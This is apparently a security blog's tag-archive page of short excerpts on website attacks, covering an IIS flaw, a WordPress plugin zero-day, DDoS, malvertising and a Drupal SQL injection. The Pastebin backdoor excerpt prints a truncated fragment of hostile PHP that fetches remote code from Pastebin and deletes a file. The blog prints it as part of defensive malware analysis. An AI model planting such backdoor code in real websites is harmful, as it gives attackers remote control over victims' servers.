Tag Archives: Website Attacks

Website Firewall – Critical Microsoft IIS vulnerability (MS15-034)

Microsoft just disclosed a serious vulnerability (MS15-034) on their Web Server IIS that allows for remote and unauthenticated Denial of Service (DoS) and/or Remote Code Execution (RCE) on unpatched Windows servers. An attacker only needs to send a specially crafted HTTP request with the right header to exploit it. That’s how serious it is. RCE  is usedRead More Info »

Zero-day in the Fancybox-for-WordPress Plugin

Our research team was alerted to a possible malware outbreak affecting many WordPress websites. All the infections had a similar malicious iframe from “203koko” injected into the website. We were also directed to a forum thread where users were sharing their concerns and describing similar issues they were experiencing. In analyzing the infected websites, we More Info »

DDoS from China – Facebook, WordPress and Twitter Users Receiving Sucuri Error Pages

Over the past few weeks, our Security Operation Center (SOC) has been seeing some different, and very suspicious requests to some of our servers. At first we thought it was a Distributed Denial of Service (DDoS) attack, mainly due to the high concentration of requests (thousands per second). Looking further however, it actually seemed like More Info »

Website Backdoors Leverage the Pastebin Service

We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files. Here’s the backdoor code: if(array_keys($_GET)[0] == ‘up’){ $content = file_get_contents(“http://pastebin . com/raw.php?i=JK5r7NyS”); if($content){unlink(‘evex.php’); $fh2 More Info »

Malvertising on a Website Without Ads

When you first configure your website, whether it be WordPress, Joomla, Drupal, or any other flavor of the month, it is often in its purest state. Unless ofcourse the server was previously compromised, which in it of itself is another conversation outright. Barring that one instance, the new website should not exhibit any malicious behavior. More Info »

Highly Critical SQL Injection Vulnerability Patched in Drupal Core

The Drupal team just released a security update for Drupal 7.x to address a highly critical SQL injection vulnerability. This bug can be exploited remotely by non-authenticated users and was classified as “Highly Critical” by the Drupal Security team. More information is available in their public advisory: Posted by Drupal Security Team on October 15, More Info »